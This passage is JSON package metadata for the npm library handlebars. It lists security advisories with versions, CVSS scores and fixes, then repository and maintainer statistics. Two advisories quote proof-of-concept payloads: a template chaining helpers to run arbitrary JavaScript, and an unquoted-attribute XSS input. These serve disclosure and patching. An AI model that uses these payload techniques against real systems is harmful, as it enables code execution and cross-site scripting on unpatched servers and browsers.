source.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-05-06T15:57:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-23369","https://github.com/handlebars-lang/handlebars.js/commit/b6d3de7123eebba603e321f04afdbae608e8fea8","https://github.com/handlebars-lang/handlebars.js/commit/f0589701698268578199be25285b2ebea1c1e427","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074950","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074951","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074952","https://snyk.io/vuln/SNYK-JS-HANDLEBARS-1056767","https://security.netapp.com/advisory/ntap-20210604-0008/","https://github.com/advisories/GHSA-f2jv-r9rf-7988"],"source_kind":"github","identifiers":["GHSA-f2jv-r9rf-7988","CVE-2021-23369"],"repository_url":"https://github.com/handlebars-lang/handlebars.js","blast_radius":0.0,"created_at":"2022-12-21T16:11:56.348Z","updated_at":"2026-10-03T14:10:55.590Z","epss_percentage":0.07028,"epss_percentile":0.935,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWYyanYtcjlyZi03OTg4","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWYyanYtcjlyZi03OTg4","packages":[{"ecosystem":"maven","package_name":"org.webjars.bowergithub.wycats:handlebars.js","versions":[{"first_patched_version":"4.7.7","vulnerable_version_range":"\u003c 4.7.7"}],"purl":null},{"ecosystem":"maven","package_name":"org.webjars.npm:handlebars","versions":[{"first_patched_version":"4.7.7","vulnerable_version_range":"\u003c 4.7.7"}],"purl":null},{"ecosystem":"maven","package_name":"org.webjars:handlebars","versions":[{"first_patched_version":"4.7.7","vulnerable_version_range":"\u003c 4.7.7"}],"purl":null},{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.7.7","vulnerable_version_range":"\u003c 4.7.7"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWYyanYtcjlyZi03OTg4/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXEyYzYtYzZwbS1nM2do","url":"https://github.com/advisories/GHSA-q2c6-c6pm-g3gh","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-04T15:07:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://www.npmjs.com/advisories/1324","https://github.com/advisories/GHSA-q2c6-c6pm-g3gh"],"source_kind":"github","identifiers":["GHSA-q2c6-c6pm-g3gh"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:15.480Z","updated_at":"2026-08-19T22:13:17.218Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXEyYzYtYzZwbS1nM2do","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXEyYzYtYzZwbS1nM2do","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.5.3","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.5.3"},{"first_patched_version":"3.0.8","vulnerable_version_range":"\u003c 3.0.8"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXEyYzYtYzZwbS1nM2do/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc5cjQteHBtai1tajY1","url":"https://github.com/advisories/GHSA-g9r4-xpmj-mj65","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-04T15:06:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://www.npmjs.com/advisories/1325","https://github.com/advisories/GHSA-g9r4-xpmj-mj65"],"source_kind":"github","identifiers":["GHSA-g9r4-xpmj-mj65"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:15.490Z","updated_at":"2026-10-05T23:16:05.743Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc5cjQteHBtai1tajY1","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc5cjQteHBtai1tajY1","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.5.3","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.5.3"},{"first_patched_version":"3.0.8","vulnerable_version_range":"\u003c 3.0.8"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc5cjQteHBtai1tajY1/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJjZjUtNHc3Ni1yOXF2","url":"https://github.com/advisories/GHSA-2cf5-4w76-r9qv","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert('Vulnerable Handlebars JS');\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-04T14:57:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L","references":["https://www.npmjs.com/advisories/1316","https://github.com/advisories/GHSA-2cf5-4w76-r9qv"],"source_kind":"github","identifiers":["GHSA-2cf5-4w76-r9qv"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:15.557Z","updated_at":"2026-09-24T15:10:49.727Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJjZjUtNHc3Ni1yOXF2","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJjZjUtNHc3Ni1yOXF2","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.5.2","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.5.2"},{"first_patched_version":"3.0.8","vulnerable_version_range":"\u003c 3.0.8"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJjZjUtNHc3Ni1yOXF2/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY1MmctNmpoeC01ODZw","url":"https://github.com/advisories/GHSA-f52g-6jhx-586p","title":"Denial of Service in handlebars","description":"Affected versions of `handlebars` are vulnerable to Denial of Service. The package's parser may be forced into an endless loop while processing specially-crafted templates. This may allow attackers to exhaust system resources leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 4.4.5 or later.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-03T23:20:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://www.npmjs.com/advisories/1300","https://github.com/advisories/GHSA-f52g-6jhx-586p"],"source_kind":"github","identifiers":["GHSA-f52g-6jhx-586p"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:15.647Z","updated_at":"2026-06-04T03:11:10.066Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY1MmctNmpoeC01ODZw","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY1MmctNmpoeC01ODZw","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.4.5","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.4.5"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY1MmctNmpoeC01ODZw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cjV4LWhtZ2ctN2g1M84AAuAf","url":"https://github.com/advisories/GHSA-6r5x-hmgg-7h53","title":"Remote code execution in Handlebars.js","description":"Handlebars.js before 4.1.0 has Remote Code Execution (RCE)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2019-07-15T19:46:01.000Z","withdrawn_at":"2019-07-15T19:46:01.000Z","classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/wycats/handlebars.js/issues/1267#issue-187151586","https://github.com/wycats/handlebars.js/commit/edc6220d51139b32c28e51641fadad59a543ae57","https://github.com/advisories/GHSA-6r5x-hmgg-7h53"],"source_kind":"github","identifiers":["GHSA-6r5x-hmgg-7h53"],"repository_url":"https://github.com/wycats/handlebars.js","blast_radius":0.0,"created_at":"2022-12-21T16:12:01.378Z","updated_at":"2026-04-28T20:09:11.243Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cjV4LWhtZ2ctN2g1M84AAuAf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cjV4LWhtZ2ctN2g1M84AAuAf","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.1.0","vulnerable_version_range":"\u003c 4.1.0"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cjV4LWhtZ2ctN2g1M84AAuAf/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE0MnAtcGc4bS1jcWg2","url":"https://github.com/advisories/GHSA-q42p-pg8m-cqh6","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n\n## Recommendation\n\nFor handlebars 4.1.x upgrade to 4.1.2 or later.\nFor handlebars 4.0.x upgrade to 4.0.14 or later.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-06-05T14:07:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","references":["https://github.com/handlebars-lang/handlebars.js/issues/1495","https://github.com/handlebars-lang/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86","https://snyk.io/vuln/SNYK-JS-HANDLEBARS-173692","https://www.npmjs.com/advisories/755","https://github.com/handlebars-lang/handlebars.js/commit/0d6d8c335ad81bad1b672fc56b6a44f6aa472dac","https://github.com/handlebars-lang/handlebars.js/commit/85c8783b34fc6d36145d8b53885ad0b9e3c3f9c4","https://github.com/handlebars-lang/handlebars.js/commit/cd38583216dce3252831916323202749431c773e","https://github.com/advisories/GHSA-q42p-pg8m-cqh6"],"source_kind":"github","identifiers":["GHSA-q42p-pg8m-cqh6"],"repository_url":"https://github.com/handlebars-lang/handlebars.js","blast_radius":0.0,"created_at":"2022-12-21T16:13:28.881Z","updated_at":"2026-10-03T14:10:55.591Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE0MnAtcGc4bS1jcWg2","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE0MnAtcGc4bS1jcWg2","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"3.0.7","vulnerable_version_range":"\u003c 3.0.7"},{"first_patched_version":"4.0.14","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.0.14"},{"first_patched_version":"4.1.2","vulnerable_version_range":"\u003e= 4.1.0, \u003c 4.1.2"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE0MnAtcGc4bS1jcWg2/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTlwcmgtMjU3dy05Mjc3","url":"https://github.com/advisories/GHSA-9prh-257w-9277","title":"Cross-Site Scripting in handlebars","description":"Versions of `handlebars` prior to 4.0.0 are affected by a cross-site scripting vulnerability when attributes in handlebar templates are not quoted.\n\n\n## Proof of Concept\nTemplate:\n```\u003ca href={{foo}}/\u003e```\n\nInput:\n```{ 'foo' : 'test.com onload=alert(1)'}```\n\nRendered result:\n```\u003ca href=test.com onload=alert(1)/\u003e```\n\n\n## Recommendation\n\nUpdate to version 4.0.0 or later.\nAlternatively, ensure that all attributes in handlebars templates are encapsulated with quotes.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2018-10-23T17:20:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2015-8861","https://github.com/wycats/handlebars.js/pull/1083","https://blog.srcclr.com/handlebars_vulnerability_research_findings/","https://github.com/advisories/GHSA-9prh-257w-9277","https://www.npmjs.com/advisories/61","https://www.sourceclear.com/blog/handlebars_vulnerability_research_findings/","https://www.tenable.com/security/tns-2016-18","http://www.openwall.com/lists/oss-security/2016/04/20/11","http://www.securityfocus.com/bid/96434"],"source_kind":"github","identifiers":["GHSA-9prh-257w-9277","CVE-2015-8861"],"repository_url":"https://github.com/wycats/handlebars.js","blast_radius":0.0,"created_at":"2022-12-21T16:13:32.514Z","updated_at":"2026-10-05T23:16:30.134Z","epss_percentage":0.02612,"epss_percentile":0.84668,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTlwcmgtMjU3dy05Mjc3","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTlwcmgtMjU3dy05Mjc3","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.0.0","vulnerable_version_range":"\u003c 4.0.0"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTlwcmgtMjU3dy05Mjc3/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZtcjQtN2c5cS03aGM3","url":"https://github.com/advisories/GHSA-fmr4-7g9q-7hc7","title":"Moderate severity vulnerability that affects handlebars","description":"**Withdrawn:** Duplicate of GHSA-9prh-257w-9277","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2017-10-24T18:33:36.000Z","withdrawn_at":"2020-06-17T16:30:43.000Z","classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2015-8861","https://github.com/advisories/GHSA-fmr4-7g9q-7hc7"],"source_kind":"github","identifiers":["GHSA-fmr4-7g9q-7hc7"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:39.273Z","updated_at":"2026-10-05T23:16:38.639Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZtcjQtN2c5cS03aGM3","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZtcjQtN2c5cS03aGM3","packages":[{"ecosystem":"npm","package_name":"handlebars","versions":[{"first_patched_version":"4.0.0","vulnerable_version_range":"\u003c 4.0.0"}],"purl":"pkg:npm/handlebars"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZtcjQtN2c5cS03aGM3/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/handlebars","docker_dependents_count":14519,"docker_downloads_count":4193931721,"usage_url":"https://repos.ecosyste.ms/usage/npm/handlebars","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/handlebars/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-09-30T19:32:24.032Z","issues_count":166,"pull_requests_count":141,"avg_time_to_close_issue":19983128.943925235,"avg_time_to_close_pull_request":16750343.146067416,"issues_closed_count":107,"pull_requests_closed_count":89,"pull_request_authors_count":60,"issue_authors_count":146,"avg_comments_per_issue":3.1265060240963853,"avg_comments_per_pull_request":1.7163120567375887,"merged_pull_requests_count":58,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":18,"past_year_pull_requests_count":36,"past_year_avg_time_to_close_issue":1226288.2222222222,"past_year_avg_time_to_close_pull_request":870351.0588235294,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":17,"past_year_pull_request_authors_count":19,"past_year_issue_authors_count":15,"past_year_avg_comments_per_issue":0.9444444444444444,"past_year_avg_comments_per_pull_request":1.3888888888888888,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":14,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/handlebars-lang%2Fhandlebars.js/issues","maintainers":[{"login":"jaylinski","count":36,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jaylinski"},{"login":"nknapp","count":18,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/nknapp"}],"active_maintainers":[{"login":"jaylinski","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jaylinski"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/handlebars/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/handlebars/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/handlebars/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/handlebars/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/handlebars/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/handlebars/codemeta","maintainers":[{"uuid":"erisds","login":"erisds","name":null,"email":"github.erisds@gmail.com","url":null,"packages_count":265,"html_url":"https://www.npmjs.com/~erisds","role":null,"created_at":"2022-11-10T11:03:58.168Z","updated_at":"2022-11-10T11:03:58.168Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/erisds/packages"},{"uuid":"wycats","login":"wycats","name":null,"email":"wycats@gmail.com","url":null,"packages_count":110,"html_url":"https://www.npmjs.com/~wycats","role":null,"created_at":"2022-11-10T11:03:58.160Z","updated_at":"2022-11-10T11:03:58.160Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/wycats/packages"},{"uuid":"kpdecker","login":"kpdecker","name":null,"email":"kpdecker@gmail.com","url":null,"packages_count":57,"html_url":"https://www.npmjs.com/~kpdecker","role":null,"created_at":"2022-11-10T11:03:58.157Z","updated_at":"2022-11-10T11:03:58.157Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/kpdecker/packages"},{"uuid":"lawnsea","login":"lawnsea","name":null,"email":"lawnsea@gmail.com","url":null,"packages_count":16,"html_url":"https://www.npmjs.com/~lawnsea","role":null,"created_at":"2022-11-10T11:03:58.164Z","updated_at":"2022-11-10T11:03:58.164Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/lawnsea/packages"},{"uuid":"knappi","login":"knappi","name":null,"email":"npm@knappi.org","url":null,"packages_count":61,"html_url":"https://www.npmjs.com/~knappi","role":null,"created_at":"2022-11-10T11:03:58.171Z","updated_at":"2022-11-10T11:03:58.171Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/knappi/packages"},{"uuid":"jaylinski","login":"jaylinski","name":null,"email":"jakob.linskeseder@gmail.com","url":null,"packages_count":7,"html_url":"https://www.npmjs.com/~jaylinski","role":null,"created_at":"2023-08-01T21:20:39.977Z","updated_at":"2023-08-01T21:20:39.977Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/jaylinski/packages"}]}